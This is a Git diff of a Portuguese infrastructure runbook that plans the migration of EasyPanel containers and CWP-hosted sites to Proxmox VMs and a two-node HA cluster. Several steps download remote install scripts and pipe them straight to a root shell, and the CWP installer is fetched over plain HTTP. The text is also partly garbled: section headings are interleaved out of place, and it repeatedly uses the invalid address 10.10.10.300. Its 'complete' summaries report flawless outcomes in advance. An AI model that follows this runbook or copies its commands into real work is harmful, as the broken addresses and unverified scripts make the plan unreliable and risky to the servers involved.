| Troubleshooting | Problemas comuns e resolucao | [references/troubleshooting.md](references/troubleshooting.md) |
|
||||
|
||||
---
|
||||
|
||||
### FASE 2: CWP Migration (Week 3-6)
|
||||
## Backup Strategy Resumo
|
||||
|
||||
**Target:** Migrar 39 vhosts CWP para VM AlmaLinux 8
|
||||
|
||||
**CRITICAL:** 7 dias safety net - server.descomplicar.pt intacto
|
||||
|
||||
**2.1 Criar VM AlmaLinux 8 + CWP**
|
||||
```bash
|
||||
qm create 300 \
|
||||
--name cwp-legacy \
|
||||
--memory 16384 \
|
||||
--cores 6 \
|
||||
--net0 virtio,bridge=vmbr0 \
|
||||
--scsi0 rpool/vm-disks:150 \
|
||||
--ostype l26
|
||||
|
||||
# Instalar AlmaLinux 8
|
||||
# Instalar CWP7
|
||||
wget http://centos-webpanel.com/cwp-el8-latest
|
||||
sh cwp-el8-latest
|
||||
```
|
||||
|
||||
**2.2 Backup CWP Accounts**
|
||||
```bash
|
||||
# Em server.descomplicar.pt
|
||||
for account in $(cat /tmp/cwp-accounts.txt); do
|
||||
/scripts/pkgacct $account
|
||||
done
|
||||
|
||||
# Transfer backups
|
||||
rsync -avz /home/backup-*/cpmove-*.tar.gz \
|
||||
root@cluster.descomplicar.pt:/mnt/migration/cwp/
|
||||
```
|
||||
|
||||
**2.3 Migrar Contas (Batch 3-5 contas)**
|
||||
|
||||
**Workflow por conta:**
|
||||
```bash
|
||||
# 1. Restore backup em VM CWP
|
||||
scp /mnt/migration/cwp/cpmove-ACCOUNT.tar.gz root@10.10.10.300:/home/
|
||||
|
||||
# 2. Restore via CWP
|
||||
/scripts/restorepkg ACCOUNT
|
||||
|
||||
# 3. Validar:
|
||||
- Site carrega (HTTP 200)
|
||||
- Database conecta
|
||||
- Email funciona (send test)
|
||||
- SSL certificado válido
|
||||
|
||||
# 4. DNS cutover (TTL 300s)
|
||||
A record: site.com → 10.10.10.300 (via NAT port forward)
|
||||
|
||||
# 5. Monitorizar 24h
|
||||
```
|
||||
|
||||
**2.4 Validation Period (7 dias)**
|
||||
```bash
|
||||
# Days 1-7 após migration:
|
||||
- Server antigo (server.descomplicar.pt) INTACTO
|
||||
- Rollback instantâneo se problema critical
|
||||
- Cliente pode reverter DNS manualmente se necessário
|
||||
|
||||
# Day 7: Confirmar com Emanuel
|
||||
# Se tudo OK → proceder cleanup
|
||||
# Se problemas → extend validation ou rollback completo
|
||||
```
|
||||
|
||||
**2.5 Email Migration**
|
||||
```bash
|
||||
# Por cada conta CWP:
|
||||
|
||||
# 1. Backup mailboxes
|
||||
tar -czf /tmp/mail-ACCOUNT.tar.gz /home/ACCOUNT/mail/
|
||||
|
||||
# 2. Transfer
|
||||
scp /tmp/mail-ACCOUNT.tar.gz root@10.10.10.300:/tmp/
|
||||
|
||||
# 3. Restore
|
||||
cd /home/ACCOUNT/
|
||||
tar -xzf /tmp/mail-ACCOUNT.tar.gz
|
||||
|
||||
# 4. Fix permissions
|
||||
chown -R ACCOUNT:ACCOUNT /home/ACCOUNT/mail/
|
||||
|
||||
# 5. Testar IMAP/SMTP
|
||||
telnet localhost 143 # IMAP
|
||||
telnet localhost 25 # SMTP
|
||||
```
|
||||
|
||||
**2.6 Rollback Procedure (Fase 2)**
|
||||
```bash
|
||||
# Disponível até Day 7
|
||||
|
||||
# 1. Reverter DNS (todos sites)
|
||||
A records → IP antigo (server.descomplicar.pt)
|
||||
|
||||
# 2. Verificar server antigo online
|
||||
ping server.descomplicar.pt
|
||||
|
||||
# 3. Comunicar clientes
|
||||
|
||||
# 4. Analisar causa falha
|
||||
|
||||
# 5. Ajustar plan e re-tentar
|
||||
```
|
||||
| Fase | Locais Backup | RPO | RTO |
|
||||
|------|---------------|-----|-----|
|
||||
| Fase 1 | Original + PBS + VPS | 1h | 2-4h |
|
||||
| Fase 2 | Server intacto + PBS + /mnt/migration/ | 1h | 2-4h |
|
||||
| Fase 3 | Node A + Node B + PBS dual | 1h | 2-4h |
|
||||
|
||||
---
|
||||
|
||||
### FASE 3: Cluster Formation (Week 7-8)
|
||||
## Anti-Patterns
|
||||
|
||||
**Target:** Formar cluster 2-node, HA, cleanup
|
||||
|
||||
**3.1 Preparar server.descomplicar.pt como Node A**
|
||||
```bash
|
||||
# APENAS após Fase 2 100% validada
|
||||
|
||||
# Backup final completo
|
||||
tar -czf /tmp/final-backup-server.tar.gz /etc /home /var/www
|
||||
|
||||
# Reformatar com Proxmox (/proxmox-setup)
|
||||
# Tornar Node A do cluster
|
||||
```
|
||||
|
||||
**3.2 Cluster Formation**
|
||||
```bash
|
||||
# Usar skill /proxmox-cluster (criada a seguir)
|
||||
/proxmox-cluster create --node-a server.descomplicar.pt --node-b cluster.descomplicar.pt
|
||||
```
|
||||
|
||||
**3.3 HA Configuration**
|
||||
```bash
|
||||
# Usar skill /proxmox-ha (criada a seguir)
|
||||
/proxmox-ha configure --critical-vms 200,300
|
||||
```
|
||||
|
||||
**3.4 Cleanup**
|
||||
```bash
|
||||
# Cancelar easy.descomplicar.pt VPS (após validação)
|
||||
# Backup final de tudo
|
||||
# Documentar nova arquitectura
|
||||
```
|
||||
| Anti-Pattern | Risco | Alternativa |
|
||||
|--------------|-------|-------------|
|
||||
| Migrar tudo de uma vez | Downtime total | Batches de 5-10 |
|
||||
| Nao baixar TTL antes | DNS lento a propagar | TTL 300s 24h antes |
|
||||
| Apagar server antigo cedo | Sem rollback | Manter 7 dias |
|
||||
| Sem backup pre-migration | Perda dados | vzdump + 3-2-1 |
|
||||
|
||||
---
|
||||
|
||||
## Backup Strategy Durante Migration
|
||||
|
||||
### Fase 1 (EasyPanel)
|
||||
**3 locais:**
|
||||
1. Containers em easy.descomplicar.pt (original)
|
||||
2. PBS Node B backup
|
||||
3. easy.descomplicar.pt VPS backup (mantido durante Fase 1)
|
||||
|
||||
### Fase 2 (CWP)
|
||||
**Safety net 7 dias:**
|
||||
1. Server antigo intacto (rollback rápido)
|
||||
2. VM CWP → PBS backups automáticos
|
||||
3. Backups manuais /mnt/migration/
|
||||
|
||||
**RPO:** 1h (PBS backups hourly se critical)
|
||||
**RTO:** 2-4h (restore + DNS propagation)
|
||||
|
||||
### Fase 3 (Cluster)
|
||||
**Redundância completa:**
|
||||
1. VMs em Node A + Node B
|
||||
2. PBS primary (Node B 16TB)
|
||||
3. PBS secondary remote sync (Node A 12TB)
|
||||
|
||||
## Output Summary (Por Fase)
|
||||
|
||||
### Fase 1 Complete:
|
||||
```
|
||||
✅ EasyPanel migrado: 108 containers
|
||||
|
||||
📦 Containers:
|
||||
- Migrados: 108/108
|
||||
- Falhas: 0
|
||||
- Rollbacks: 0
|
||||
- Downtime médio: <2min por container
|
||||
|
||||
🎯 Validation:
|
||||
- Health checks: 100% OK
|
||||
- Cliente feedback: 0 issues
|
||||
- Performance: <500ms avg response
|
||||
|
||||
🔄 DNS Cutover:
|
||||
- TTL: 300s (5min)
|
||||
- Domains migrados: ALL
|
||||
- Rollback window: 7 dias
|
||||
|
||||
📋 Next: Fase 2 (CWP migration)
|
||||
```
|
||||
|
||||
### Fase 2 Complete:
|
||||
```
|
||||
✅ CWP migrado: 39 vhosts
|
||||
|
||||
🌐 Sites:
|
||||
- Migrados: 39/39
|
||||
- HTTP 200: 100%
|
||||
- SSL válido: 100%
|
||||
- Email funcional: 100%
|
||||
|
||||
⏱️ Timeline:
|
||||
- Week 3-6: Migration
|
||||
- Day 1-7: Validation period
|
||||
- Day 8: Cleanup (se OK)
|
||||
|
||||
🔒 Safety Net:
|
||||
- Server antigo: ONLINE (Day 1-7)
|
||||
- Rollback: Disponível (DNS reverter)
|
||||
- Backups: 3 locais
|
||||
|
||||
📋 Next: Fase 3 (Cluster formation)
|
||||
```
|
||||
|
||||
### Fase 3 Complete:
|
||||
```
|
||||
✅ Cluster Proxmox formado: 2 nodes
|
||||
|
||||
🖥️ Nodes:
|
||||
- Node A: server.descomplicar.pt (reformatado)
|
||||
- Node B: cluster.descomplicar.pt
|
||||
- Quorum: 2 votes
|
||||
|
||||
🔄 HA:
|
||||
- Critical VMs: 200, 300
|
||||
- Failover: Automatic
|
||||
- Live migration: Enabled
|
||||
|
||||
💾 PBS Redundancy:
|
||||
- Primary: Node B (16TB)
|
||||
- Secondary: Node A (12TB) remote sync
|
||||
- RPO: 1h | RTO: 2-4h
|
||||
|
||||
🎉 Migration Complete:
|
||||
- Total time: 8 weeks
|
||||
- Downtime: <5min total
|
||||
- Issues: 0 critical
|
||||
- Cliente satisfaction: HIGH
|
||||
|
||||
📋 Post-Migration:
|
||||
- Monitor por 30 dias
|
||||
- Documentar em PROC-VM-Migration.md
|
||||
- Cancelar VPS legacy
|
||||
- Treino equipa Proxmox
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Container migration fails
|
||||
```bash
|
||||
# Verificar logs
|
||||
docker logs CONTAINER_ID
|
||||
|
||||
# Verificar volumes
|
||||
ls -lah /var/lib/easypanel/projects/PROJECT/
|
||||
|
||||
# Testar manual
|
||||
docker-compose up -d
|
||||
|
||||
# Rollback e investigar
|
||||
```
|
||||
|
||||
### CWP site não carrega após migration
|
||||
```bash
|
||||
# Verificar Apache
|
||||
systemctl status httpd
|
||||
|
||||
# Verificar vhost
|
||||
cat /usr/local/apache/conf.d/vhosts/DOMAIN.conf
|
||||
|
||||
# Verificar database
|
||||
mysql -u USER -p DATABASE
|
||||
|
||||
# Verificar DNS propagation
|
||||
dig +short DOMAIN @8.8.8.8
|
||||
```
|
||||
|
||||
### Email não funciona
|
||||
```bash
|
||||
# Verificar Postfix
|
||||
systemctl status postfix
|
||||
|
||||
# Testar SMTP
|
||||
telnet localhost 25
|
||||
|
||||
# Verificar DNS MX
|
||||
dig +short MX DOMAIN
|
||||
|
||||
# Verificar logs
|
||||
tail -f /var/log/maillog
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- **Migration Plan:** Hub/05-Projectos/Cluster Descomplicar/Planning/Migration-Plan-OptionA.md
|
||||
- **NotebookLM:** 276ccdde-6b95-42a3-ad96-4e64d64c8d52
|
||||
- **Guia Hub:** Guia-Definitivo-Proxmox-Hetzner.md (Módulo 4: Workloads)
|
||||
|
||||
---
|
||||
|
||||
**Versão:** 1.0.0 | **Autor:** Descomplicar® | **Data:** 2026-02-14
|
||||
|
||||
## Metadata (Desk CRM Task #1712)
|
||||
|
||||
```
|
||||
Projeto: Cluster Proxmox Descomplicar (#65)
|
||||
Tarefa: Migração Infraestrutura (#1712)
|
||||
Tags: migration, cwp, easypanel, zero-downtime, phased
|
||||
Status: Implementation
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
**/** @author Descomplicar® | @link descomplicar.pt | @copyright 2026 **/
|
||||
|
||||
---
|
||||
|
||||
## Quando NÃO Usar
|
||||
|
||||
- Para migrações non-CWP/EasyPanel (criar plan específico)
|
||||
- Para teste/dev environments (menos rigor)
|
||||
- Para single-server setups (não cluster)
|
||||
- **Guia Hub:** Guia-Definitivo-Proxmox-Hetzner.md (Modulo 4: Workloads)
|
||||
- **Desk CRM:** Projecto #65, Tarefa #1712
|
||||
|
||||
118
infraestrutura/skills/vm-migration/references/fase1-easypanel.md
Normal file
118
infraestrutura/skills/vm-migration/references/fase1-easypanel.md
Normal file
@@ -0,0 +1,118 @@
|
||||
# Fase 1: EasyPanel Migration (Week 1-2)
|
||||
|
||||
Target: Migrar 108 containers Docker para VM Proxmox
|
||||
|
||||
## 1.1 Criar VM Docker Host
|
||||
|
||||
```bash
|
||||
qm create 200 \
|
||||
--name easypanel-docker \
|
||||
--memory 32768 \
|
||||
--cores 8 \
|
||||
--net0 virtio,bridge=vmbr0 \
|
||||
--scsi0 rpool/vm-disks:200 \
|
||||
--ostype l26 \
|
||||
--boot order=scsi0
|
||||
|
||||
# Install Ubuntu 24.04 LTS
|
||||
# Via Cloud-Init ou ISO manual
|
||||
```
|
||||
|
||||
## 1.2 Instalar Docker + EasyPanel
|
||||
|
||||
```bash
|
||||
ssh root@10.10.10.200
|
||||
|
||||
# Docker
|
||||
curl -fsSL https://get.docker.com | sh
|
||||
|
||||
# EasyPanel
|
||||
curl -sSL https://get.easypanel.io | sh
|
||||
```
|
||||
|
||||
## 1.3 Backup Containers Actuais
|
||||
|
||||
```bash
|
||||
# Em easy.descomplicar.pt
|
||||
tar -czf /tmp/easypanel-volumes.tar.gz /var/lib/easypanel/projects
|
||||
|
||||
# Transfer para PBS ou storage temporario
|
||||
scp /tmp/easypanel-volumes.tar.gz root@cluster.descomplicar.pt:/mnt/migration/
|
||||
```
|
||||
|
||||
## 1.4 Migrar Containers (Batch 5-10)
|
||||
|
||||
Batch 1 (nao-criticos para teste):
|
||||
|
||||
```bash
|
||||
# Containers teste: dev environments, staging
|
||||
# IDs: 1-5
|
||||
|
||||
# Por cada container:
|
||||
1. Exportar env vars do EasyPanel
|
||||
2. Exportar docker-compose.yml
|
||||
3. Copiar volumes
|
||||
4. Recriar em novo EasyPanel
|
||||
5. Testar health endpoint
|
||||
6. DNS cutover se OK
|
||||
```
|
||||
|
||||
Workflow Batch:
|
||||
|
||||
```bash
|
||||
for container_id in 1 2 3 4 5; do
|
||||
# Export config
|
||||
curl -s http://easy.descomplicar.pt:3000/api/trpc/services.get \
|
||||
-d "serviceId=$container_id" > config_$container_id.json
|
||||
|
||||
# Copiar volumes
|
||||
rsync -avz /var/lib/easypanel/projects/$container_id/ \
|
||||
root@10.10.10.200:/var/lib/easypanel/projects/$container_id/
|
||||
|
||||
# Recriar service (via EasyPanel API ou UI)
|
||||
|
||||
# Test
|
||||
curl -I http://10.10.10.200:PORT/health
|
||||
|
||||
# DNS cutover (se health OK)
|
||||
done
|
||||
```
|
||||
|
||||
## 1.5 Validation (24-48h por batch)
|
||||
|
||||
```
|
||||
Monitoring:
|
||||
- Uptime checks (UptimeRobot ou similar)
|
||||
- Error rates (logs)
|
||||
- Performance (response time <500ms)
|
||||
- Cliente feedback
|
||||
|
||||
Rollback triggers:
|
||||
- >2 containers falham consecutivamente
|
||||
- Cliente reporta down
|
||||
- Health checks fail >10min
|
||||
```
|
||||
|
||||
## 1.6 DNS Cutover
|
||||
|
||||
```bash
|
||||
# Baixar TTL para 300s (5min) 24h ANTES
|
||||
# Ex: Cloudflare ou dns.descomplicar.pt
|
||||
|
||||
# Cutover:
|
||||
A record: old-ip -> NAT port forward para 10.10.10.200:PORT
|
||||
|
||||
# Monitorizar por 1h
|
||||
# Reverter se problemas
|
||||
```
|
||||
|
||||
## 1.7 Rollback Procedure
|
||||
|
||||
```bash
|
||||
# Reverter DNS (TTL 300s = 5min propagacao)
|
||||
# Reactivar container antigo
|
||||
# Investigar causa falha
|
||||
# Re-tentar apos fix
|
||||
```
|
||||
|
||||
Batch 2-N: Repetir ate 108 containers migrados.
|
||||
112
infraestrutura/skills/vm-migration/references/fase2-cwp.md
Normal file
112
infraestrutura/skills/vm-migration/references/fase2-cwp.md
Normal file
@@ -0,0 +1,112 @@
|
||||
# Fase 2: CWP Migration (Week 3-6)
|
||||
|
||||
Target: Migrar 39 vhosts CWP para VM AlmaLinux 8
|
||||
|
||||
**CRITICAL:** 7 dias safety net - server.descomplicar.pt intacto
|
||||
|
||||
## 2.1 Criar VM AlmaLinux 8 + CWP
|
||||
|
||||
```bash
|
||||
qm create 300 \
|
||||
--name cwp-legacy \
|
||||
--memory 16384 \
|
||||
--cores 6 \
|
||||
--net0 virtio,bridge=vmbr0 \
|
||||
--scsi0 rpool/vm-disks:150 \
|
||||
--ostype l26
|
||||
|
||||
# Instalar AlmaLinux 8
|
||||
# Instalar CWP7
|
||||
wget http://centos-webpanel.com/cwp-el8-latest
|
||||
sh cwp-el8-latest
|
||||
```
|
||||
|
||||
## 2.2 Backup CWP Accounts
|
||||
|
||||
```bash
|
||||
# Em server.descomplicar.pt
|
||||
for account in $(cat /tmp/cwp-accounts.txt); do
|
||||
/scripts/pkgacct $account
|
||||
done
|
||||
|
||||
# Transfer backups
|
||||
rsync -avz /home/backup-*/cpmove-*.tar.gz \
|
||||
root@cluster.descomplicar.pt:/mnt/migration/cwp/
|
||||
```
|
||||
|
||||
## 2.3 Migrar Contas (Batch 3-5 contas)
|
||||
|
||||
Workflow por conta:
|
||||
|
||||
```bash
|
||||
# 1. Restore backup em VM CWP
|
||||
scp /mnt/migration/cwp/cpmove-ACCOUNT.tar.gz root@10.10.10.300:/home/
|
||||
|
||||
# 2. Restore via CWP
|
||||
/scripts/restorepkg ACCOUNT
|
||||
|
||||
# 3. Validar:
|
||||
- Site carrega (HTTP 200)
|
||||
- Database conecta
|
||||
- Email funciona (send test)
|
||||
- SSL certificado valido
|
||||
|
||||
# 4. DNS cutover (TTL 300s)
|
||||
A record: site.com -> 10.10.10.300 (via NAT port forward)
|
||||
|
||||
# 5. Monitorizar 24h
|
||||
```
|
||||
|
||||
## 2.4 Validation Period (7 dias)
|
||||
|
||||
```bash
|
||||
# Days 1-7 apos migration:
|
||||
- Server antigo (server.descomplicar.pt) INTACTO
|
||||
- Rollback instantaneo se problema critical
|
||||
- Cliente pode reverter DNS manualmente se necessario
|
||||
|
||||
# Day 7: Confirmar com Emanuel
|
||||
# Se tudo OK -> proceder cleanup
|
||||
# Se problemas -> extend validation ou rollback completo
|
||||
```
|
||||
|
||||
## 2.5 Email Migration
|
||||
|
||||
```bash
|
||||
# Por cada conta CWP:
|
||||
|
||||
# 1. Backup mailboxes
|
||||
tar -czf /tmp/mail-ACCOUNT.tar.gz /home/ACCOUNT/mail/
|
||||
|
||||
# 2. Transfer
|
||||
scp /tmp/mail-ACCOUNT.tar.gz root@10.10.10.300:/tmp/
|
||||
|
||||
# 3. Restore
|
||||
cd /home/ACCOUNT/
|
||||
tar -xzf /tmp/mail-ACCOUNT.tar.gz
|
||||
|
||||
# 4. Fix permissions
|
||||
chown -R ACCOUNT:ACCOUNT /home/ACCOUNT/mail/
|
||||
|
||||
# 5. Testar IMAP/SMTP
|
||||
telnet localhost 143 # IMAP
|
||||
telnet localhost 25 # SMTP
|
||||
```
|
||||
|
||||
## 2.6 Rollback Procedure (Fase 2)
|
||||
|
||||
```bash
|
||||
# Disponivel ate Day 7
|
||||
|
||||
# 1. Reverter DNS (todos sites)
|
||||
A records -> IP antigo (server.descomplicar.pt)
|
||||
|
||||
# 2. Verificar server antigo online
|
||||
ping server.descomplicar.pt
|
||||
|
||||
# 3. Comunicar clientes
|
||||
|
||||
# 4. Analisar causa falha
|
||||
|
||||
# 5. Ajustar plan e re-tentar
|
||||
```
|
||||
@@ -0,0 +1,63 @@
|
||||
# Fase 3: Cluster Formation (Week 7-8)
|
||||
|
||||
Target: Formar cluster 2-node, HA, cleanup
|
||||
|
||||
## 3.1 Preparar server.descomplicar.pt como Node A
|
||||
|
||||
```bash
|
||||
# APENAS apos Fase 2 100% validada
|
||||
|
||||
# Backup final completo
|
||||
tar -czf /tmp/final-backup-server.tar.gz /etc /home /var/www
|
||||
|
||||
# Reformatar com Proxmox (/proxmox-setup)
|
||||
# Tornar Node A do cluster
|
||||
```
|
||||
|
||||
## 3.2 Cluster Formation
|
||||
|
||||
```bash
|
||||
/proxmox-cluster create --node-a server.descomplicar.pt --node-b cluster.descomplicar.pt
|
||||
```
|
||||
|
||||
## 3.3 HA Configuration
|
||||
|
||||
```bash
|
||||
/proxmox-ha configure --critical-vms 200,300
|
||||
```
|
||||
|
||||
## 3.4 Cleanup
|
||||
|
||||
```bash
|
||||
# Cancelar easy.descomplicar.pt VPS (apos validacao)
|
||||
# Backup final de tudo
|
||||
# Documentar nova arquitectura
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Backup Strategy Durante Migration
|
||||
|
||||
### Fase 1 (EasyPanel)
|
||||
|
||||
3 locais:
|
||||
1. Containers em easy.descomplicar.pt (original)
|
||||
2. PBS Node B backup
|
||||
3. easy.descomplicar.pt VPS backup (mantido durante Fase 1)
|
||||
|
||||
### Fase 2 (CWP)
|
||||
|
||||
Safety net 7 dias:
|
||||
1. Server antigo intacto (rollback rapido)
|
||||
2. VM CWP -> PBS backups automaticos
|
||||
3. Backups manuais /mnt/migration/
|
||||
|
||||
RPO: 1h (PBS backups hourly se critical)
|
||||
RTO: 2-4h (restore + DNS propagation)
|
||||
|
||||
### Fase 3 (Cluster)
|
||||
|
||||
Redundancia completa:
|
||||
1. VMs em Node A + Node B
|
||||
2. PBS primary (Node B 16TB)
|
||||
3. PBS secondary remote sync (Node A 12TB)
|
||||
@@ -0,0 +1,48 @@
|
||||
# VM Migration - Troubleshooting
|
||||
|
||||
## Container migration fails
|
||||
|
||||
```bash
|
||||
# Verificar logs
|
||||
docker logs CONTAINER_ID
|
||||
|
||||
# Verificar volumes
|
||||
ls -lah /var/lib/easypanel/projects/PROJECT/
|
||||
|
||||
# Testar manual
|
||||
docker-compose up -d
|
||||
|
||||
# Rollback e investigar
|
||||
```
|
||||
|
||||
## CWP site nao carrega apos migration
|
||||
|
||||
```bash
|
||||
# Verificar Apache
|
||||
systemctl status httpd
|
||||
|
||||
# Verificar vhost
|
||||
cat /usr/local/apache/conf.d/vhosts/DOMAIN.conf
|
||||
|
||||
# Verificar database
|
||||
mysql -u USER -p DATABASE
|
||||
|
||||
# Verificar DNS propagation
|
||||
dig +short DOMAIN @8.8.8.8
|
||||
```
|
||||
|
||||
## Email nao funciona
|
||||
|
||||
```bash
|
||||
# Verificar Postfix
|
||||
systemctl status postfix
|
||||
|
||||
# Testar SMTP
|
||||
telnet localhost 25
|
||||
|
||||
# Verificar DNS MX
|
||||
dig +short MX DOMAIN
|
||||
|
||||
# Verificar logs
|
||||
tail -f /var/log/maillog
|
||||
```
|
||||
Reference in New Issue
Block a user